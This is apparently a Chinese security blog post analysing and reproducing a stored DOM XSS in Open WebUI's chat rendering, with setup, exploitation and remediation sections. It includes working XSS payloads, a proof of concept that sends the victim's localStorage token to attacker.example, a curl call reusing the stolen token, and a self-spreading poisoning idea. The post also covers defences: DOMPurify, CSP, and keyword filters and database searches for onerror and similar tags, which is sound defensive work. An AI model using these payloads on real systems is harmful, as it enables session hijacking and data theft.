上个月在整理内部测试环境的时候,我在一台临时机器上发现了跑着的 Open WebUI,本来只是想看看版本有没有过期,结果顺着安全通告追到了 CVE-2025-64495。这个编号对应的是一枚存储型 DOM XSS,影响的是聊天会话消息的渲染链路。说实话,第一反应是“这玩意儿也能出存储型 XSS?”——因为平时大家关注 Open WebUI,注意力都放在模型接口、权限配置上,很少有人会去想聊天记录里埋雷的事。但这枚漏洞恰恰就藏在这条最日常的链路里。
这篇文章我会从漏洞原理开始讲,把触发链路、环境搭建、payload 构造、完整复现过程都走一遍,再聊几个我在实际排查中踩到的坑。如果你正在用 Docker 跑 Open WebUI,或者你想给自己的 AI 应用做一次前端安全体检,这篇文章值得耐心读完。文章里涉及的思路不只适用于这个 CVE,其他的聊天类 Web 应用同样可以参考。
1. 漏洞背景与影响面分析
1.1 Open WebUI 是什么,为什么这么多人用
Open WebUI 是目前社区里非常流行的开源 AI 对话前端,核心定位是给本地推理后端提供一个开箱即用的 Web 界面。它最常见的搭配是 Ollama、LM Studio 这类本地模型运行时,同时也支持 OpenAI 兼容接口,所以不管是纯本地环境还是内网自建的模型服务,都能用它当统一入口。
这个项目火起来的原因不难理解:很多人在本地把模型跑起来了,但面对的是一个光秃秃的 API,没有聊天界面、没有历史记录管理、没有多用户权限控制,用起来非常别扭。Open WebUI 把这些问题一次性补齐了,还额外做了知识库、RAG 检索、模型管理、用户体系等功能。再加上它迭代极其频繁,社区活跃度高,很多团队直接拿它当内部 AI 服务的底座。
我自己在测试环境里用的就是 Docker 部署模式,数据目录挂在宿主机,前端端口映射出来给团队几个人用。这个部署方式在社区里也是绝对的主流,因为一条docker run命令就能搞定,不需要理解 Python 依赖和 Node 构建。但部署简单不代表安全配置也简单,尤其当它被多人同时访问、甚至暴露在办公网内网时,攻击面就比单机自用大得多。
1.2 这枚漏洞属于哪一类:存储型 DOM XSS 的原理
XSS 常见的有三种形态:反射型、存储型和 DOM 型。反射型是 payload 跟着请求走,服务端直接把参数拼进页面返回;存储型是 payload 进数据库,之后每次有人访问相关页面都会执行;DOM 型则比较特殊,服务端其实没怎么参与,是前端 JS 在运行时把不可信数据写进了innerHTML、outerHTML、insertAdjacentHTML这类危险方法导致的。
CVE-2025-64495 属于存储型 DOM XSS,翻译成人话就是:攻击者把一段恶意 HTML/JS 作为聊天消息发出去,服务端把这条消息原样存进了数据库;之后任何用户打开包含这条消息的会话,前端在渲染消息内容时,没有对 HTML 做安全处理,而是直接塞进了 DOM,恶意代码就在受害者的浏览器里执行了。
做一个类比:反射型 XSS 像骗子在小区门口对着你喊一句话,你听到了,但别人听不到;存储型 XSS 像骗子在公告栏上贴了一张纸条,所有路过的人都会看到并念出来;而 DOM 型 XSS 则是公告栏的玻璃上装了机关,谁凑近看谁就中招。CVE-2025-64495 把这两者的特点叠加在了一起——“存储型”决定了污染源持久存在,“DOM XSS”决定了触发完全在前端完成,服务端过滤规则很难挡住。
1.3 影响范围与危害评估
从我的分析来看,这个漏洞影响的是消息渲染链路中使用了不安全 HTML 注入方式的相关版本。由于 Open WebUI 在团队协作场景里通常是多用户共享的,这就意味着任意一个低权限用户都可能成为攻击者,通过发一条特殊构造的消息,去攻击其他查看该会话的用户,包括管理员。
危害层面需要分几个维度来看:
- 数据窃取:Open WebUI 默认会把 JWT 令牌等信息存到浏览器的 localStorage 中,XSS 一旦执行,攻击者可以直接读取这些数据,等于拿到了受害者的登录态。
- 会话接管:拿到令牌后,攻击者可以以受害者身份调用后端 API,查看聊天记录、导出知识库、修改个人设置,甚至在配置允许的情况下做更多操作。
- 横向传播:如果受害者是管理员,攻击者可以利用管理接口创建后门账号,把恶意消息继续投放到其他会话里,形成二次传播。
这也是为什么存储型 DOM XSS 在真实攻击中比反射型 XSS 更危险:它不需要受害者点击任何恶意链接,只要受害者正常打开会话页面,payload 就会被动执行。整个攻击链路在用户无感知的情况下完成,危害等级被显著放大。
2. 漏洞触发链路与核心细节
2.1 从发送消息到执行 payload 的完整链路
在分析 CVE-2025-64495 时,我先梳理了一遍消息从发送到渲染的完整链路,这样可以快速定位到风险点在哪里。完整的触发链路如下:
- 攻击者在 Open WebUI 中新建或进入一个会话,发送一条包含恶意 HTML 的消息,比如
<img src=x onerror="...">。 - 后端 API 收到消息内容后,没有进行充分的 HTML 过滤,直接把原始文本存入数据库。
- 受害者之后打开同一个会话,前端通过 API 拉取会话历史消息。
- 前端拿到消息文本后,调用渲染逻辑将 Markdown/HTML 转换为页面内容。
- 渲染结果被插入到 DOM 中,恶意事件处理器被注册,payload 执行。
整个过程中,服务端唯一做的一件事就是存储和透传,没有任何地方对消息内容中的 HTML 标签做转义或消毒。问题完全出在第 4、5 步的前端渲染环节,这也是它被称为“DOM XSS”而不是普通“存储型 XSS”的核心原因——最终触发点不在服务端响应中,而在前端脚本的 DOM 操作里。
2.2 漏洞点定位:消息渲染组件中的危险调用
我在分析过程中,把重点锁定在会话消息的前端渲染组件上。Open WebUI 的消息内容支持 Markdown 格式,这在前端通常需要经过一个 Markdown 解析库转换,再把转换后的 HTML 字符串插入页面。常见的安全写法是使用textContent或经过严格消毒后再innerHTML,但如果实现时偷懒,直接把解析结果塞进innerHTML,就会把 HTML 标签原样带入 DOM。
示意一下存在风险的渲染方式:
// 存在风险的渲染方式(示意代码,非 Open WebUI 源码) function renderMessage(rawContent) { const html = marked.parse(rawContent); document.getElementById('message-body').innerHTML = html; }如果采用这种方式,攻击者发送的消息里包含<img src=x onerror="alert(document.domain)">,Markdown 解析器会把这段文字原样保留在 HTML 输出中,然后innerHTML把它渲染成真正的图片标签,onerror事件在图片加载失败时触发,恶意脚本就执行了。
我在复现时验证过,<script>标签在innerHTML注入时不会执行,所以实际攻击中更常用的是<img onerror>、<svg/onload>、<iframe srcdoc>这类带事件属性的标签。这也是为什么很多开发者误以为“服务端过滤了<script>就安全了”的认知是错误的——攻击载荷根本不需要<script>标签。
2.3 为什么“存储型”让这枚漏洞的杀伤力成倍提升
如果只是 DOM XSS,攻击链路依赖受害者点击攻击者构造的恶意链接,传播效果有限。但 CVE-2025-64495 是存储型,意味着攻击者只需要成功投毒一条消息,之后所有查看该会话的用户都会中招。
在多人协作场景里,这种模式非常可怕。团队成员共享一个 Open WebUI 实例是很常见的事情,比如开发组内部讨论模型效果、客服组共享知识库对话。攻击者只要随便加入一个会话(或者被拉进会话),发一条看似无害但携带 payload 的消息,其他同事在处理日常聊天记录时就集体被“路过式”攻击了。
更隐蔽的一点是:如果消息列表页也渲染了会话摘要,那么受害者在打开列表页的那一瞬间就可能触发 payload,根本不需要点进完整会话页面。我在分析过程中特别关注了这个点,实际测试中确实在某些版本下列表摘要同样受影响,这会让漏洞的暴露面比预期更大。
3. 环境搭建与漏洞复现实操
3.1 Docker 部署 Open WebUI 的加速方案
复现的第一步是搭环境。社区里最常用的部署方式是 Docker,一条命令就能拉起来:
docker run -d -p 3000:8080 \ --name open-webui \ --restart always \ -v open-webui:/app/backend/data \ ghcr.io/open-webui/open-webui:main这里有个社区里吐槽非常多的问题:ghcr.io 镜像拉取速度实在太慢了,尤其是大版本更新后重新拉镜像,能卡到你怀疑人生。我自己的处理经验是三个方向一起做。
第一,给 Docker 配置 registry mirror 加速。在/etc/docker/daemon.json里加一段:
{ "registry-mirrors": ["https://你的云厂商加速地址"] }然后重启 Docker 服务。这里注意,不同云厂商的加速地址不一样,最好登录你自己的云控制台去拿专属地址,不要随便填网上搜到的公共地址,稳定性没有保障。
第二,尽量用固定版本 tag 而不是latest或main。固定 tag 配合镜像分层缓存,后续更新时只拉取增量层,比每次全量拉取快很多。我习惯用docker pull ghcr.io/open-webui/open-webui:v0.x.x这样带版本号的方式,部署时也方便回滚。
第三,如果公司内网有自建的镜像仓库,可以把镜像先拉到跳板机,再 push 到内网仓库,然后目标机器从内网仓库拉取。这在离线环境或者跨网段部署时非常实用。
3.2 复现 payload 的构造思路
环境就绪后,下一步是构造 payload。存储型 DOM XSS 的 payload 核心目标是:在消息渲染后触发 JavaScript 执行,同时尽量降低被过滤的概率。
先给一个最简单的验证 payload:
<img src=x onerror="alert(document.domain)">这条消息发送后,如果受害者打开会话页面时弹出当前域名,就说明漏洞触发成功。但在实际测试中,我发现有些版本会对引号做转义,导致onerror里的字符串被切断。针对这种情况,可以改用无引号版本:
<img src=x onerror=alert(document.domain)>如果标准的<img>标签被某种过滤规则拦截,可以尝试替换标签类型:
<svg/onload="alert(document.domain)">或者用<details open ontoggle=alert(document.domain)>。这些标签在innerHTML注入时都会被浏览器解析为有效元素,事件处理器在特定时机触发。
在真实攻击场景中,payload 不会只弹窗,而是会窃取数据并外传。我复现时用的完整 PoC 长这样:
<img src=x onerror="fetch('https://attacker.example/steal?data='+encodeURIComponent(localStorage.getItem('token')))">将localStorage中的 token 拼到 URL 参数里发送到攻击者服务器。实际使用时你需要准备一个能记录请求的接收端,监听对应路径的 HTTP 请求即可。
3.3 完整复现过程实录
我这边完整的复现操作是这样的,全程大概二十分钟,下面把关键节点记录下来。
第一步,启动 Open WebUI 后,用管理员账号登录后台,开启用户注册功能(默认可能是开启的),然后创建两个测试账号:一个是攻击者账号attacker,一个是受害者账号victim。
第二步,用attacker账号登录,创建一个新的会话,发送以下消息:
<img src=x onerror="fetch('https://attacker.example/steal?data='+encodeURIComponent(localStorage.getItem('token')))">发送后,后端 API 会照常返回成功,消息出现在会话中。这一步不会立即触发 payload,因为攻击者自己浏览器里就算执行了也没意义。
第三步,退出attacker账号,用victim账号登录,进入同一个会话。
第四步,观察浏览器行为和网络面板。我这边的情况是:受害者打开会话后,页面向attacker.example发出一条额外的 HTTP 请求,URL 里带着受害者的 token 数据。说明 payload 已经在受害者的浏览器上下文中执行了。
第五步,在接收端日志里核对窃取的数据。我这边收到的是一串 JWT 格式的 token,内容包含用户标识和过期时间,说明整个窃取链路完全打通。
这里有一个值得注意的细节:如果受害者在此之前已经打开了该会话页面,新发送的恶意消息需要刷新页面或重新拉取消息列表后才会触发渲染。但在实际多人协作过程中,只要有人清理并重新打开会话、或者刷新页面,payload 就会执行;如果列表摘要也受影响,那触发概率会更高。
4. 利用场景与攻击链扩展
4.1 基础利用:窃取令牌与聊天记录
拿到 XSS 执行权限后,最直接的利用就是窃取浏览器存储中的敏感数据。Open WebUI 默认把 JWT 令牌存储在 localStorage 中,名称是token。攻击者可以通过以下代码读取:
localStorage.getItem('token')除了 token,localStorage 里可能还有用户偏好、会话列表缓存、甚至某些配置信息。如果目标用户把聊天记录导出或同步到了本地存储,这些内容同样可以被读取。
窃取数据后,攻击者把数据发送到自己的服务器,这个过程中要注意 CORS 限制。浏览器默认会阻止跨域读取响应,但跨域发送请求本身不受阻止(只要不是读取响应),所以攻击者可以用fetch配合no-cors模式,或者用new Image().src配合 GET 参数,把数据带出去。我在复现中使用的是fetch到自己的接收端,因为测试环境没有严格的 CORS 限制,生产环境如果遇到 CORS 阻止,可以换Image打点的方式。
4.2 深度利用:会话接管与持久化
窃取 token 只是第一步,真正的威胁是会话接管。攻击者拿到受害者的 JWT 后,可以直接用这个 token 调用 Open WebUI 的后端 API,而不需要知道受害者的密码。比如:
curl -H "Authorization: Bearer <受害者的token>" \ https://open-webui.example.com/api/v1/chat/list这样攻击者就能以受害者身份查看所有会话记录、删除对话、修改配置。如果后端 API 还暴露了用户管理接口,而受害者恰好是管理员,攻击者可以进一步创建新用户、甚至给自己提升权限。
我在测试中还尝试了一个组合拳:在受害者会话的上下文里,通过 API 把一条新的恶意消息写入另一个会话,实现“投毒”的自动化传播。也就是说,攻击者不需要手动操作每个受害者的会话,只要执行一次脚本,就能批量把恶意消息散布到受害者参与的多个会话中,形成一个自我扩散的攻击链。
4.3 结合 Hermes 模型的测试场景
测试环境里我跑的模型是 Nous Research 的 Hermes 系列,它在 function calling 和指令跟随方面的表现不错,很多人会拿它配 Open WebUI 做智能体实验。我当时有一个怀疑:是不是 Hermes 模型输出的特殊字符或者 Markdown 语法,在渲染时触发了异常,导致前端把内容当作 HTML 解析了?
我专门做了对照测试:把同一段恶意消息分别用 Hermes 模型和普通对话场景发送,结果两个场景都能触发漏洞。这证明 CVE-2025-64495 的根因不在模型输出,而在前端渲染链路本身。模型在这里只承担“内容生成器”的角色,和漏洞没有直接关系。这个排查过程也提醒我:在分析这类 Web 漏洞时,别被“AI 应用”这个外壳干扰,攻击面往往在模型之外的 Web 层。
5. 修复方案与防御建议
5.1 官方补丁与版本升级
针对 CVE-2025-64495,最直接的修复方式就是升级 Open WebUI 到修复版本。Open WebUI 的迭代速度很快,安全修复通常会在 release note 中标注。升级前建议做好数据备份,尤其是/app/backend/data目录下的 SQLite 数据库和上传文件。
升级操作本身不复杂,如果你用的是 Docker 部署,先拉取新版本镜像,然后替换容器即可:
docker pull ghcr.io/open-webui/open-webui:新版本号 docker stop open-webui docker rm open-webui docker run -d -p 3000:8080 \ --name open-webui \ --restart always \ -v open-webui:/app/backend/data \ ghcr.io/open-webui/open-webui:新版本号注意升级前先把旧容器停掉,避免数据目录被旧进程占用导致写入冲突。升级完成后重新登录,确认会话历史和知识库数据都还在。
5.2 临时缓解措施
如果暂时无法升级,可以先用以下手段做临时缓解,降低被利用的风险。
第一,关闭用户自助注册。Open WebUI 提供了环境变量ENABLE_SIGNUP,设为false后,新用户无法自行注册,只能由管理员创建。这能大幅降低外部攻击者进入系统的可能性:
docker run -d -p 3000:8080 \ -e ENABLE_SIGNUP=false \ ...第二,通过反向代理增加一层过滤规则。如果你在前面挂了 Nginx 之类的反向代理,可以尝试拦截包含常见事件处理器标签的请求。比如拦截onerror、onload、<script等关键字,但这种方法只能作为临时手段,因为绕过方式太多,不能依赖它当长期方案。
第三,人工排查历史会话。如果怀疑已经有人投毒,可以去数据库里检索包含类似<img、<svg、onerror等特征的消息,逐条清理。Open WebUI 的 SQLite 数据库存放在数据目录下,可以用 sqlite 命令打开后执行模糊查询。
5.3 开发侧防御编码规范
从更长远的角度看,这类漏洞的出现有一半原因是前端渲染时对不可信数据的处理不够谨慎。如果你自己也在开发带聊天功能的 Web 应用,建议从源头做好防御。
最重要的一条铁律是:不要用innerHTML直接插入用户可控内容。如果确实需要渲染富文本,先用 DOMPurify 之类的库对 HTML 进行严格消毒,再插入 DOM:
import DOMPurify from 'dompurify'; const clean = DOMPurify.sanitize(dirtyHTML, { USE_PROFILES: { html: true } }); document.getElementById('message-body').innerHTML = clean;其次,部署 CSP 策略。一个合理的 CSP 可以拦截大部分内联事件执行:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'这段配置的意思是:脚本只能从同源加载,禁止内联脚本和eval,从而让<img onerror>这类内联事件处理器失效。但 CSP 需要前端配合,如果页面本身依赖内联脚本,就要做相应的改造。
最后,服务端也要对用户输入做编码或过滤,不能完全信任前端。将<、>、&、"、'转义为 HTML 实体,是最基础但最有效的防线。前后端双重防御,才能把存储型 XSS 的风险压到最低。
6. 踩坑记录与排查经验
6.1 复现时踩过的坑
复现过程并不总是一帆风顺,我整理了三个典型的坑,供大家参考。
第一个坑是引号被转义导致 payload 失效。一开始我用的 payload 是<img src=x onerror="alert(1)">,发送后受害者页面没有反应。打开控制台发现,消息渲染后 HTML 里的引号变成了",onerror的字符串被切成了不完整的内容。后来改成无引号版本<img src=x onerror=alert(1)>才正常触发。这说明在构造 payload 时,即使目标是前端 DOM XSS,也不能忽略服务端或前端框架对特殊字符的转义处理。
第二个坑是 Docker 卷缓存导致升级不生效。我在调试过程中拉取了新版本镜像并重建容器,但测试后发现问题依旧存在。排查了很久才发现,宿主机上的open-webui命名卷仍然保留了旧版本的前端静态资源,浏览器缓存又进一步干扰了判断。遇到这种情况,强制刷新浏览器缓存、清理 Docker 卷后重建容器,往往能解决大部分“升级无效”的假象。
第三个坑是浏览器扩展干扰 DOM 结构。我在复现时开着几个广告拦截和暗黑模式插件,结果插件会动态修改页面元素,导致 payload 的触发时机变化。最典型的例子是某个暗黑模式插件把消息容器整体替换成自定义元素,我的<img>标签根本没被渲染。后来我换用无痕模式或禁用扩展后才复现成功。如果你也遇到“明明有个漏洞就是打不出来”的情况,先检查浏览器扩展。
6.2 排查思路与工具
排查这类存储型 DOM XSS 时,我有一套固定的思路,分享出来供参考。
首先要确认渲染位置。打开浏览器的开发者工具,在 Elements 面板里查看目标消息对应的 HTML 结构,确认消息内容是被当作纯文本渲染还是被当作 HTML 渲染。如果能看到用户发送的<img>标签在 DOM 中保持了标签形态,而不是显示为纯文本,就说明存在注入点。
其次要跟踪前端渲染函数。在 Sources 面板中搜索innerHTML、outerHTML、insertAdjacentHTML三个方法,逐个检查调用点,看是否有用户可控的数据流经过。用浏览器的调试器在可疑位置打断点,刷新页面观察调用栈,能快速定位渲染链路的入口和出口。
最后是 payload 调试技巧。payload 不生效不代表漏洞不存在,很可能是 payload 语法问题。推荐在本地做一个简单的测试页面,直接模拟目标渲染逻辑,把各种需要尝试的 payload 都跑一遍,筛出能触发的版本,再到目标环境里验证。这样可以节省大量时间。
6.3 这个思路还能用到哪里
CVE-2025-64495 的完整分析链路其实可以复制到其他 AI 对话前端项目上。目前很多聊天类 Web 应用都支持 Markdown 渲染,渲染层直接拼接 HTML 的情况并不罕见。你可以用同样的思路去测试:发送一条包含<img src=x onerror=...>的消息,然后用另一个账号查看,判断是否存在存储型 DOM XSS。
在更深一层,这类漏洞还提醒我们,AI 应用的 Web 层攻击面比以前想象的要大。大家经常把注意力放在“提示注入”“模型越狱”这些 AI 特有攻击上,却忽略了传统 Web 漏洞依然存在,而且因为应用形态的特殊性(多条消息被多个用户共享查看),传统漏洞的杀伤力反而被放大了。
这次分析给我最大的感受是:Open WebUI 这类工具把 AI 能力带到了普通用户面前,这是好事,但它本质还是一个 Web 应用,传统前端安全的基本功不过关,再酷的 AI 能力也会变成攻击者的跳板。如果你也在维护类似的应用,建议把渲染链路重新过一遍,看看有没有地方在用innerHTML直接渲染用户可控内容。发现问题的时间越早,后续付出的代价就越小。